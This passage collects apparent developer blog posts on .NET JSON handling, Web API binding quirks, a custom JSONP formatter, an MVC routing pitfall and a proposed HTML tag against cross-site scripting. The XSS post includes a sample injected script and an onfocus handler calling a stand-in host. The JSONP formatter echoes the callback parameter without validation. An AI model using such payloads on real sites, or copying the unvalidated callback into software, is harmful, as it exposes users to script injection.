    song.SongLength = "4:11";
    album.Songs.Add(song);

    song = new JsonObject();
    song.SongName = "Love at First Feel";
    song.SongLength = "3:10";
    album.Songs.Add(song);
    

    Console.WriteLine(album.ToString());
}

This produces proper JSON just as you would expect:

{"AlbumName":"Dirty Deeds Done Dirt Cheap","Artist":"AC\/DC","YearReleased":1977,"Songs":[{"SongName":"Dirty Deeds Done Dirt Cheap","SongLength":"4:11"},{"SongName":"Love at First Feel","SongLength":"3:10"}]}

The important thing about this code is that there's no explicitly type that is used for holding the values to serialize to JSON. I am essentially creating this value structure on the fly by adding properties and then serialize it to JSON. This means this code can be entirely driven at runtime without compile time restraints of structure for the JSON output.

Here I use JsonObject() to create a new object and immediately cast it to dynamic. JsonObject() is kind of similar in behavior to ExpandoObject in that it allows you to add properties by simply assigning to them. Internally, JsonValue/JsonObject these values are stored in pseudo collections of key value pairs that are exposed as properties through the DynamicObject functionality in .NET.

The syntax gets a little tedious only if you need to create child objects or arrays that have to be explicitly defined first. Other than that the syntax looks like normal object access sytnax. Always remember though these values are dynamic - which means no Intellisense and no compiler type checking. It's up to you to ensure that the values you create are accessed consistently and without typos in your code.

Note that you can also access the JsonValue instance directly and get access to the underlying type. This means you can assign properties by string, which can be useful for fully data driven JSON generation from other structures.

Below you can see both styles of access next to each other:

// strong type instance 
var jsonObject = new JsonObject();

// you can explicitly add values here
jsonObject.Add("Entered", DateTime.Now);

// expando style instance you can just 'use' properties
dynamic album = jsonObject;

album.AlbumName = "Dirty Deeds Done Dirt Cheap";

JsonValue internally stores properties keys and values in collections and you can iterate over them at runtime. You can also manipulate the collections if you need to to get the object structure to look exactly like you want. Again, if you've used ExpandoObject before JsonObject/Value are very similar in the behavior of the structure.

Reading JSON strings into JsonValue

The JsonValue structure supports importing JSON via the Parse() and Load() methods which can read JSON data from a string or various streams respectively. Essentially JsonValue includes the core JSON parsing to turn a JSON string into a collection of JsonValue objects that can be then referenced using familiar dynamic object syntax.

Here's a simple example:

[TestMethod]
public void JsonValueParsingTest()
{
    var jsonString = @"{""Name"":""Rick"",""Company"":""West Wind"",""Entered"":""2012-03-16T00:03:33.245-10:00""}";

    dynamic  json = JsonValue.Parse(jsonString);

    // values require casting
    string name = json.Name;
    string company = json.Company;
    DateTime entered = json.Entered;

    Assert.AreEqual(name, "Rick");
    Assert.AreEqual(company, "West Wind");            
}

The JSON string represents an object with three properties which is parsed into a JsonValue object and cast to dynamic. Once cast to dynamic I can then go ahead and access the object using familiar object syntax.

Note that the actual values - json.Name, json.Company, json.Entered - are actually of type JsonPrimitive and I have to assign them to their appropriate types first before I can do type comparisons. The dynamic properties will automatically cast to the right type expected as long as the compiler can resolve the type of the assignment or usage. The AreEqual() method oesn't as it expects two object instances and comparing json.Company to "West Wind" is comparing two different types (JsonPrimitive to String) which fails. So the intermediary assignment is required to make the test pass.

The JSON structure can be much more complex than this simple example. Here's another example of an array of albums serialized to JSON and then parsed through with JsonValue():

[TestMethod]
public void JsonArrayParsingTest()
{
  var jsonString = @"[
  {
    ""Id"": ""b3ec4e5c"",
    ""AlbumName"": ""Dirty Deeds Done Dirt Cheap"",
    ""Artist"": ""AC/DC"",
    ""YearReleased"": 1977,
    ""Entered"": ""2012-03-16T00:13:12.2810521-10:00"",
    ""AlbumImageUrl"": ""http://ecx.images-amazon.com/images/I/61kTaH-uZBL._AA115_.jpg"",
    ""AmazonUrl"": ""http://www.amazon.com/gp/product/B00008BXJ4/ref=as_li_ss_tl?ie=UTF8&tag=westwindtechn-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=B00008BXJ4"",
    ""Songs"": [
      {
        ""AlbumId"": ""b3ec4e5c"",
        ""SongName"": ""Dirty Deeds Done Dirt Cheap"",
        ""SongLength"": ""4:11""
      },
      {
        ""AlbumId"": ""b3ec4e5c"",
        ""SongName"": ""Love at First Feel"",
        ""SongLength"": ""3:10""
      },
      {
        ""AlbumId"": ""b3ec4e5c"",
        ""SongName"": ""Big Balls"",
        ""SongLength"": ""2:38""
      }
    ]
  },
  {
    ""Id"": ""67280fb8"",
    ""AlbumName"": ""Echoes, Silence, Patience & Grace"",
    ""Artist"": ""Foo Fighters"",
    ""YearReleased"": 2007,
    ""Entered"": ""2012-03-16T00:13:12.2810521-10:00"",
    ""AlbumImageUrl"": ""http://ecx.images-amazon.com/images/I/41mtlesQPVL._SL500_AA280_.jpg"",
    ""AmazonUrl"": ""http://www.amazon.com/gp/product/B000UFAURI/ref=as_li_ss_tl?ie=UTF8&tag=westwindtechn-20&linkCode=as2&camp=1789&creative=390957&creativeASIN=B000UFAURI"",
    ""Songs"": [
      {
        ""AlbumId"": ""67280fb8"",
        ""SongName"": ""The Pretender"",
        ""SongLength"": ""4:29""
      },
      {
        ""AlbumId"": ""67280fb8"",
        ""SongName"": ""Let it Die"",
        ""SongLength"": ""4:05""
      },
      {
        ""AlbumId"": ""67280fb8"",
        ""SongName"": ""Erase/Replay"",
        ""SongLength"": ""4:13""
      }
    ]
  },
  {
    ""Id"": ""7b919432"",
    ""AlbumName"": ""End of the Silence"",
    ""Artist"": ""Henry Rollins Band"",
    ""YearReleased"": 1992,
    ""Entered"": ""2012-03-16T00:13:12.2800521-10:00"",
    ""AlbumImageUrl"": ""http://ecx.images-amazon.com/images/I/51FO3rb1tuL._SL160_AA160_.jpg"",
    ""AmazonUrl"": ""http://www.amazon.com/End-Silence-Rollins-Band/dp/B0000040OX/ref=sr_1_5?ie=UTF8&qid=1302232195&sr=8-5"",
    ""Songs"": [
      {
        ""AlbumId"": ""7b919432"",
        ""SongName"": ""Low Self Opinion"",
        ""SongLength"": ""5:24""
      },
      {
        ""AlbumId"": ""7b919432"",
        ""SongName"": ""Grip"",
        ""SongLength"": ""4:51""
      }
    ]
  }
]";

  dynamic albums = JsonValue.Parse(jsonString);
  
  foreach (dynamic album in albums)
  {
     Console.WriteLine(album.AlbumName + " (" + album.YearReleased.ToString() + ")");
     foreach (dynamic song in album.Songs)
     {
        Console.WriteLine("\t" + song.SongName  );
     }

  }

  Console.WriteLine(albums[0].AlbumName);
  Console.WriteLine(albums[0].Songs[1].SongName);

}

It's pretty sweet how easy it becomes to parse even complex JSON and then just run through the object using object syntax, yet without an explicit type in the mix. In fact it looks and feels a lot like if you were using JavaScript to parse through this data, doesn't it? And that's the point…

System.Json is available now from NuGet or as part of the MVC 4/Web API Beta.

Install-Package System.Json

Enjoy…

In testing out various features of Web API I've found a few oddities in the way that the serialization is handled. These are probably not super common but they may throw you for a loop. Here's what I found.

Simple Parameters from Xml or JSON Content

Web API makes it very easy to create action methods that accept parameters that are automatically parsed from XML or JSON request bodies. For example, you can send a JavaScript JSON object to the server and Web API happily deserializes it for you.

This works just fine:

public string ReturnAlbumInfo(Album album)
{
    return album.AlbumName + " (" + album.YearReleased.ToString() + ")";
}

However, if you have methods that accept simple parameter types like strings, dates, number etc., those methods don't receive their parameters from XML or JSON body by default and you may end up with failures. Take the following two very simple methods:

public string  ReturnString(string message)
{            
    return message;
}

public HttpResponseMessage ReturnDateTime(DateTime time)
{
    return Request.CreateResponse<DateTime>(HttpStatusCode.OK, time);
}

The first one accepts a string and if called with a JSON string from the client like this:

var client = new HttpClient();
var result = client.PostAsJsonAsync<string>(http://rasxps/AspNetWebApi/albums/rpc/ReturnString,

                                            "Hello World").Result;

which results in a trace like this:

POST http://rasxps/AspNetWebApi/albums/rpc/ReturnString HTTP/1.1
Content-Type: application/json; charset=utf-8
Host: rasxps
Content-Length: 13
Expect: 100-continue
Connection: Keep-Alive

"Hello World"

produces… wait for it: null.

Sending a date in the same fashion:

var client = new HttpClient();
var result = client.PostAsJsonAsync<DateTime>(http://rasxps/AspNetWebApi/albums/rpc/ReturnDateTime, 
                                              new DateTime(2012, 1, 1)).Result;

results in this trace:

POST http://rasxps/AspNetWebApi/albums/rpc/ReturnDateTime HTTP/1.1
Content-Type: application/json; charset=utf-8
Host: rasxps
Content-Length: 30
Expect: 100-continue
Connection: Keep-Alive

"\/Date(1325412000000-1000)\/"

(yes still the ugly MS AJAX date, yuk! This will supposedly change by RTM with Json.net used for client serialization)

produces an error response:

The parameters dictionary contains a null entry for parameter 'time' of non-nullable type 'System.DateTime' for method 'System.Net.Http.HttpResponseMessage ReturnDateTime(System.DateTime)' in 'AspNetWebApi.Controllers.AlbumApiController'. An optional parameter must be a reference type, a nullable type, or be declared as an optional parameter.

Basically any simple parameters are not parsed properly resulting in null being sent to the method. For the string the call doesn't fail, but for the non-nullable date it produces an error because the method can't handle a null value.

This behavior is a bit unexpected to say the least, but there's a simple solution to make this work using an explicit [FromBody] attribute:

public string  ReturnString([FromBody] string message)

and

public HttpResponseMessage ReturnDateTime([FromBody] DateTime time)

which explicitly instructs Web API to read the value from the body.

UrlEncoded Form Variable Parsing

Another similar issue I ran into is with POST Form Variable binding. Web API can retrieve parameters from the QueryString and Route Values but it doesn't explicitly map parameters from POST values either.

Taking our same ReturnString function from earlier and posting a message POST variable like this:

var formVars = new Dictionary<string,string>();
formVars.Add("message", "Some Value");
var content = new FormUrlEncodedContent(formVars);

var client = new HttpClient();
var result = client.PostAsync(http://rasxps/AspNetWebApi/albums/rpc/ReturnString,
                             content).Result;

which produces this trace:

POST http://rasxps/AspNetWebApi/albums/rpc/ReturnString HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: rasxps
Content-Length: 18
Expect: 100-continue

message=Some+Value

When calling ReturnString:

public string  ReturnString(string message)
{            
    return message;
}

unfortunately it does not map the message value to the message parameter. This sort of mapping unfortunately is not available in Web API.

Web API does support binding to form variables but only as part of model binding, which binds object properties to the POST variables. Sending the same message as in the previous example you can use the following code to pick up POST variable data:

public string ReturnMessageModel(MessageModel model)
{        
    return model.Message;
}


public class MessageModel
{
    public string Message { get; set; }

}

Note that the model is bound and the message form variable is mapped to the Message property as would other variables to properties if there were more. This works but it's not very dynamic.

There's no real easy way to retrieve form variables (or query string values for that matter) in Web API's Request object as far as I can discern. Well only if you consider this easy:

public string  ReturnString()
{
    var formData = Request.Content.ReadAsAsync<FormDataCollection>().Result;    
    return  formData.Get("message");    
}

Oddly FormDataCollection does not allow for indexers to work so you have to use the .Get() method which is rather odd.

If you're running under IIS/Cassini you can always resort to the old and trusty HttpContext access for request data:

public string  ReturnString()
{
    return HttpContext.Current.Request.Form["message"]; 

}

which works fine and is easier. It's kind of a bummer that HttpRequestMessage doesn't expose some sort of raw Request object that has access to dynamic data - given that it's meant to serve as a generic REST/HTTP API that seems like a crucial missing piece. I don't see any way to read query string values either.

To me personally HttpContext works, since I don't see myself using self-hosted code much.

Out of the box ASP.NET WebAPI does not include a JSONP formatter, but it's actually very easy to create a custom formatter that implements this functionality.

Why do we need JSONP?

JSONP is one way to allow browser based JavaScript client applications to bypass cross-site scripting limitations and serve data from the non-current Web server. AJAX in Web Applications uses the XmlHttp object which by default doesn't allow access to remote domains. There are number of ways around this limitation <script> tag loading and JSONP is one of the easiest and semi-official ways that you can do this.

JSONP works by combining JSON data and wrapping it into a function call that is executed when the JSONP data is returned. If you use a tool like jQUery it's extremely easy to access JSONP content.

Imagine that you have a URL like this:

http://RemoteDomain/aspnetWebApi/albums

which on an HTTP GET serves some data - in this case an array of record albums. This URL is always directly accessible from an AJAX request if the URL is on the same domain as the parent request. However, if that URL lives on a separate server it won't be easily accessible to an AJAX request.

Now, if  the server can serve up JSONP this data can be accessed cross domain from a browser client. Using jQuery it's really easy to retrieve the same data with JSONP:

function getAlbums() {
    $.getJSON("http://remotedomain/aspnetWebApi/albums?callback=?",null,
              function (albums) {
                  alert(albums.length);
              });
}

The resulting callback the same as if the call was to a local server when the data is returned. jQuery deserializes the data and feeds it into the method. Here the array is received and I simply echo back the number of items returned. From here your app is ready to use the data as needed.

What does JSONP look like?

JSONP is a pretty simple 'protocol'. All it does is wrap a JSON response with a JavaScript function call. The above result from the JSONP call looks like this:

Query17103401925975181569_1333408916499( [{"Id":"34043957","AlbumName":"Dirty Deeds Done Dirt Cheap",…},{…}] )

The way JSONP works is that the client (jQuery in this case) sends of the request, receives the response and evals it. The eval basically executes the function and deserializes the JSON inside of the function passing the resulting object as a parameter.

How does JSONP work?

To understand how JSONP works, here's some plain JavaScript code that demonstrates the semantics:

function jsonp(url, callback) {
    // create a unique id
    var id = "_" + (new Date()).getTime();

    // create a global callback handler
    window[id] = function (result) {
        // forward the call to specified handler                                       
        if (callback)
            callback(result);
                    
        // clean up: remove script and id
        var sc = document.getElementById(id);
        sc.parentNode.removeChild(sc);
        window[id] = null;
    }

    url = url.replace("callback=?", "callback=" + id);
                
    // create script tag that loads the 'JSONP script' 
    // and executes it calling window[id] function                
    var script = document.createElement("script");
    script.setAttribute("id", id);
    script.setAttribute("src", url);
    script.setAttribute("type", "text/javascript");
    document.body.appendChild(script);
}

The code creates a script tag that basically loads the JSONP snippet and executed it executes it. The 'code' in this case is a function call, which here is a unique name of the function windows[id] I assigned to handle the callback. This method is fired and the JSON payload is converted to a JavaScript instance when it runs. This generic function then routes final result to the function that was passed in as a parameter which allows you just specify an anonymous function or a function delegate.

To call this from any JavaScript code use the following code:

function getAlbumsManual() {
    jsonp("http://rasXps/aspnetWebApi/albums?callback=?",
          function (albums) {
              alert(albums.length);
          });
}

This all works fine using either jQuery or this simple JSONP implementation - as long as the server can serve the data with JSONP.

JSONP and ASP.NET Web API

As mentioned previously, JSONP support is not natively in the box with ASP.NET Web API. But it's pretty easy to create and plug-in a custom formatter that provides this functionality.

The following code is based on Christian Weyer's example but has been updated to work with the latest Web API CodePlex bits, which changes the implementation a bit due to the way dependent objects are exposed differently in the latest builds.

Here's the code:

using System;
using System.IO;
using System.Net;
using System.Net.Http.Formatting;
using System.Net.Http.Headers;
using System.Threading.Tasks;
using System.Web;
using System.Net.Http;

namespace Westwind.Web.WebApi
{

    /// <summary>
    /// Handles JsonP requests when requests are fired with 
    /// text/javascript or application/json and contain 
    /// a callback= (configurable) query string parameter
    /// 
    /// Based on Christian Weyers implementation
    /// https://github.com/thinktecture/Thinktecture.Web.Http/blob/master/Thinktecture.Web.Http/Formatters/JsonpFormatter.cs
    /// </summary>
    public class JsonpFormatter : JsonMediaTypeFormatter
    {                

        public JsonpFormatter()
        {
            SupportedMediaTypes.Add(new MediaTypeHeaderValue("application/json"));
            SupportedMediaTypes.Add(new MediaTypeHeaderValue("text/javascript"));            
            //MediaTypeMappings.Add(new UriPathExtensionMapping("jsonp", "application/json"));
            
            JsonpParameterName = "callback";
        }

        /// <summary>
        ///  Name of the query string parameter to look for
        ///  the jsonp function name
        /// </summary>
        public string JsonpParameterName {get; set; }

        /// <summary>
        /// Captured name of the Jsonp function that the JSON call
        /// is wrapped in. Set in GetPerRequestFormatter Instance
        /// </summary>
        private string JsonpCallbackFunction;


        public override bool CanWriteType(Type type)
        {
            return true;
        }       

        /// <summary>
        /// Override this method to capture the Request object
        /// and look for the query string parameter and 
        /// create a new instance of this formatter.
        /// 
        /// This is the only place in a formatter where the
        /// Request object is available.
        /// </summary>
        /// <param name="type"></param>
        /// <param name="request"></param>
        /// <param name="mediaType"></param>
        /// <returns></returns>
        public override MediaTypeFormatter GetPerRequestFormatterInstance(Type type, 

                                                HttpRequestMessage request, 
                                                MediaTypeHeaderValue mediaType)
        {       
            var formatter = new JsonpFormatter() 
            {                 
                JsonpCallbackFunction = GetJsonCallbackFunction(request) 
            };
            
            return formatter;
        }
        
        /// <summary>
        /// Override to wrap existing JSON result with the
        /// JSONP function call
        /// </summary>
        /// <param name="type"></param>
        /// <param name="value"></param>
        /// <param name="stream"></param>
        /// <param name="contentHeaders"></param>
        /// <param name="transportContext"></param>
        /// <returns></returns>
        public override Task WriteToStreamAsync(Type type, object value, Stream stream,
                                                     HttpContentHeaders contentHeaders,
                                                    TransportContext transportContext)
        {                                     
            if (!string.IsNullOrEmpty(JsonpCallbackFunction))
            {
                return Task.Factory.StartNew(() =>
                {
                    var writer = new StreamWriter(stream);
                    writer.Write( JsonpCallbackFunction + "(");
                    writer.Flush();

                    base.WriteToStreamAsync(type, value, stream, contentHeaders,
                                            transportContext).Wait();

                    writer.Write(")");
                    writer.Flush();
                });
            }
            else
            {
                return base.WriteToStreamAsync(type, value, stream, contentHeaders, transportContext);
            }
        }

        /// <summary>
        /// Retrieves the Jsonp Callback function
        /// from the query string
        /// </summary>
        /// <returns></returns>
        private string GetJsonCallbackFunction(HttpRequestMessage request)
        {
            if (request.Method != HttpMethod.Get)
                return null;

            var query = HttpUtility.ParseQueryString(request.RequestUri.Query);
            var queryVal = query[this.JsonpParameterName];

            if (string.IsNullOrEmpty(queryVal))
                return null;

            return queryVal;
        }
    }
}

Note again that this code will not work with the Beta bits of Web API - it works only with post beta bits from CodePlex and hopefully this will continue to work until RTM :-)

This code is a bit different from Christians original code as the API has changed. The biggest change is that the Read/Write functions no longer receive a global context object that gives access to the Request and Response objects as the older bits did.

Instead you now have to override the GetPerRequestFormatterInstance() method, which receives the Request as a parameter. You can capture the Request there, or use the request to pick up the values you need and store them on the formatter. Note that I also have to create a new instance of the formatter since I'm storing request specific state on the instance (information whether the callback= querystring is present) so I return a new instance of this formatter.

Other than that the code should be straight forward: The code basically writes out the function pre- and post-amble and the defers to the base stream to retrieve the JSON to wrap the function call into. The code uses the Async APIs to write this data out (this will take some getting used to seeing all over the place for me).

Hooking up the JsonpFormatter

Once you've created a formatter, it has to be added to the request processing sequence by adding it to the formatter collection. Web API is configured via the static GlobalConfiguration object.

protected void Application_Start(object sender, EventArgs e)
{

   // Verb Routing 
   RouteTable.Routes.MapHttpRoute(
        name: "AlbumsVerbs",
        routeTemplate: "albums/{title}",
        defaults: new
        {
            title = RouteParameter.Optional,
            controller = "AlbumApi"                   
        }
    );

    GlobalConfiguration
        .Configuration
        .Formatters
        .Insert(0, new Westwind.Web.WebApi.JsonpFormatter());

}
 

That's all it takes.

Note that I added the formatter at the top of the list of formatters, rather than adding it to the end which is required. The JSONP formatter needs to fire before any other JSON formatter since it relies on the JSON formatter to encode the actual JSON data. If you reverse the order the JSONP output never shows up. So, in general when adding new formatters also try to be aware of the order of the formatters as they are added.

Resources

• JsonpFormatter Code on GitHub

This post falls into the bucket of operator error on my part, but I want to share this anyway because it describes an issue that has bitten me a few times now and writing it down might keep it a little stronger in my mind.

I've been working on an MVC project the last few days, and at the end of a long day I accidentally moved one of my View folders from the MVC Root Folder to the project root. It must have been at the very end of the day before shutting down because tests and manual site navigation worked fine just before I quit for the night. I checked in changes and called it a night.

Next day I came back, started running the app and had a lot of breaks with certain views. Oddly custom routes to these controllers/views worked, but stock /{controller}/{action} routes would not. After a bit of spelunking I realized that "Hey one of my View Folders is missing", which made some sense given the error messages I got. I looked in the recycle bin - nothing there, so rather than try to figure out what the hell happened, just restored from my last SVN checkin. At this point the folders are back… but… view access  still ends up breaking for this set of views.

Specifically I'm getting the Yellow Screen of Death with:

CS0103: The name 'model' does not exist in the current context

Here's the full error:

Server Error in '/ClassifiedsWeb' Application.

---

Compilation Error

Line 1:  @model ClassifiedsWeb.EntryViewModel
Line 2:  @{
Line 3:      ViewBag.Title =  Model.Entry.Title + " - " +  ClassifiedsBusiness.App.Configuration.ApplicationName;

Source File: c:\Projects2010\Clients\GorgeNet\Classifieds\ClassifiedsWeb\Classifieds\Show.cshtml    Line: 1

Compiler Warning Messages:

Show Detailed Compiler Output:

Show Complete Compilation Source:

Here's what's really odd about this error: The views now do exist in the /Views/Classifieds folder of the project, but it appears like MVC is trying to execute the views directly. This is getting pretty weird, man!

So I hook up some break points in my controllers to see if my controller actions are getting fired - and sure enough it turns out they are not - but only for those views that were previously 'lost' and then restored from SVN. WTF? At this point I'm thinking that I must have messed up one of the config files, but after some more spelunking and realizing that all the other Controller views work, I give up that idea. Config's gotta be OK if other controllers and views are working.

Root Folders and MVC Views don't mix

As I mentioned the problem was the fact that I inadvertantly managed to drag my View folder to the root folder of the project.

Here's what this looks like in my FUBAR'd project structure after I copied back /Views/Classifieds folder from SVN:

There's the actual root folder in the /Views folder and the accidental copy that sits of the root. I of course did not notice the /Classifieds folder at the root because it was excluded and didn't show up in the project. Now, before you call me a complete idiot remember that this happened by accident - an accidental drag probably just before shutting down for the night. :-)

So why does this break? MVC should be happy with views in the /Views/Classifieds folder right?

While MVC might be happy, IIS is not. The fact that there is a physical folder on disk takes precedence over MVC's routing. In other words if a URL exists that matches a route the pysical path is accessed first. What happens here is that essentially IIS is trying to execute the .cshtml pages directly without ever routing to the Controller methods. In the error page I showed above my clue should have been that the view was served as:

c:\Projects2010\Clients\GorgeNet\Classifieds\ClassifiedsWeb\Classifieds\Show.cshtml

rather than

c:\Projects2010\Clients\GorgeNet\Classifieds\ClassifiedsWeb\Views\Classifieds\Show.cshtml

But of course I didn't notice that right away, just skimming to the end and looking at the file name.

The reason that

/classifieds/list

actually fires that file is that the ASP.NET Web Pages engine looks for physical files on disk that match a path. IOW, when calling Web Pages you drop the .cshtml off the Razor page and IIS will serve that just fine. So: /classifieds/list looks and tries to find /classifieds/list.cshtml and executes that script. And that is exactly what's happening. Web Pages is trying to execute the .cshtml file and it fails because Web Pages knows nothing about the @model tag which is an MVC specific template extension.

This is why my breakpoints in the controller methods didn't fire and it also explains why the error mentions that the @model key word is invalid (@model is an MVC provided template enhancement to the Razor Engine).

The solution of course is super simple: Delete the accidentally created root folder and the problem is solved.

Routing and Physical Paths

I've run into problems with this before actually. In the past I've had a number of applications that had a physical /Admin folder which also would conflict with an MVC Admin controller. More than once I ended up wondering why the index route (/Admin/) was not working properly. If a physical /Admin folder exists /Admin will not route to the Index action (or whatever default action you have set up, but instead try to list the directory or show the default document in the folder. The only way to force the index page through MVC is to explicitly use /Admin/Index. Makes perfect sense once you realize the physical folder is there, but that's easy to forget in an MVC application.

As you might imagine after a few times of running into this I gave up on the Admin folder and moved everything into MVC views to handle those operations. Still it's one of those things that can easily bite you, because the behavior and error messages seem to point at completely different  problems.

Moral of the story is: If you see routing problems where routes are not reaching obvious controller methods, always check to make sure there's isn't a physical path being mapped by IIS instead. That way you won't feel stupid like I did after trying a million things for about an hour before discovering my sloppy mousing behavior :-)

This post is a small cry for help along with an explanation of a problem that is hard to describe on twitter or even a connect bug and written in hopes somebody has seen this before and any ideas on what might cause this. Lots of helpful people had comments on Twitter for me, but they all assumed that the code doesn't run, which is not the case - it's a designer issue.

A few days ago I started getting some odd problems in my MVC 4 designer for an app I've been working on for the past 2 weeks. Basically the MVC 4 Razor designer keeps popping me errors, about the call signature to various Html Helper methods being incorrect. It also complains about the ViewBag object and not supporting dynamic requesting to load assemblies into the project.

Here's what the designer errors look like:

You can see the red error underlines under the ViewBag and an Html Helper I plopped in at the top to demonstrate the behavior. Basically any HtmlHelper I'm accessing is showing the same errors.

Note that the code *runs just fine* - it's just the designer that is complaining with Errors.

What's odd about this is that *I think* this started only a few days ago and nothing consequential that I can think of has happened to the project or overall installations. These errors aren't critical since the code runs but pretty annoying especially if you're building and have .csHtml files open in Visual Studio mixing these fake errors with real compiler errors.

What I've checked

Looking at the errors it indeed looks like certain references are missing. I can't make sense of the Html Helpers error, but certainly the ViewBag dynamic error looks like System.Core or Microsoft.CSharp assemblies are missing. Rest assured they are there and the code DOES run just fine at runtime. This is a designer issue only.

I went ahead and checked the namespaces that MVC has access to in Razor which lives in the Views folder's web.config file:

/Views/web.config

For good measure I added

  <system.web.webPages.razor>
    <host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc,  <split for layout>
                       Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
    <pages pageBaseType="System.Web.Mvc.WebViewPage">
      <namespaces>
        <add namespace="System.Web.Mvc" />
        <add namespace="System.Web.Mvc.Ajax" />
        <add namespace="System.Web.Mvc.Html" />
        <add namespace="System.Web.Routing" />
        <add namespace="System.Linq" />
        <add namespace="System.Linq.Expressions" />
        <add namespace="ClassifiedsBusiness" />
        <add namespace="ClassifiedsWeb"/>
        <add namespace="Westwind.Utilities" />
        <add namespace="Westwind.Web" />
        <add namespace="Westwind.Web.Mvc" />
      </namespaces>
    </pages>
  </system.web.webPages.razor>

For good measure I added System.Linq and System.Linq.Expression on which some of the Html.xxxxFor() methods rely, but no luck.

So, has anybody seen this before? Any ideas on what might be causing these issues only at design time rather, when the final compiled code runs just fine?

The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings.

The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided.

Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default.

In Razor the default @ expression syntax:

@Model.UserContent

automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class.

In Web Forms (V4) you can use:

<%: Model.UserContent %>    

or if you're using a version prior to 4.0:

<%= HttpUtility.HtmlEncode(Model.UserContent) %>

This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless.

If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task.

In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places.

In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*.

My Wishlist Item: A <restricted> tag in HTML

Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML?

The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document.

So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target.

I'd like to see something along these lines:

<article>    
    <restricted allowscripts="no" allowiframes="no">
        <div>Some content</div>
        <script>alert('go ahead make my day, punk!");</script>
        <div onfocus="$.getJson('http://evilsite.com/')">more content</div>
    </restricted>
</article>

A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:

<article>    
    <restricted>
        @Html.Raw(Model.UserContent)
    </restricted>
</article>

For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors.

There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think.

Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do.

The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that.

Ahhhh… one can dream…

Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly.

Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen.

It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.

So here's a binding behavior in ASP.NET MVC that I didn't really get until today: HtmlHelpers controls (like .TextBoxFor() etc.) don't bind to model values on Postback, but rather get their value directly out of the POST buffer. Effectively it looks like you can't change the display value of a control via model value updates on a Postback operation.

To demonstrate here's an example. I have a small section in a document where I display an editable email address:

This is what the form displays on a GET operation and as expected I get the email value displayed in both the textbox and plain value display below, which reflects the value in the mode. I added a plain text value to demonstrate the model value compared to what's rendered in the textbox.

The relevant markup is the email address which needs to be manipulated via the model in the Controller code. Here's the Razor markup:

        <div class="fieldcontainer">
            <label>
                Email: &nbsp; <small>(username and <a href="http://gravatar.com">Gravatar</a> image)</small>
            </label>
            <div>
                @Html.TextBoxFor( mod=> mod.User.Email, new {type="email",@class="inputfield"})         

                @Model.User.Email 
            </div>
        </div>

So, I have this form and the user can change their email address. On postback the Post controller code then asks the business layer whether the change is allowed. If it's not I want to reset the email address back to the old value which exists in the database and was previously store. The obvious thing to do would be to modify the model. Here's the Controller logic block that deals with that:

// did user change email?
if (!string.IsNullOrEmpty(oldEmail) && user.Email != oldEmail)
{
    if (userBus.DoesEmailExist(user.Email))
    {
        userBus.ValidationErrors.Add("New email address exists already. Please…");
        user.Email = oldEmail;
    }
    else
        // allow email change but require verification by forcing a login
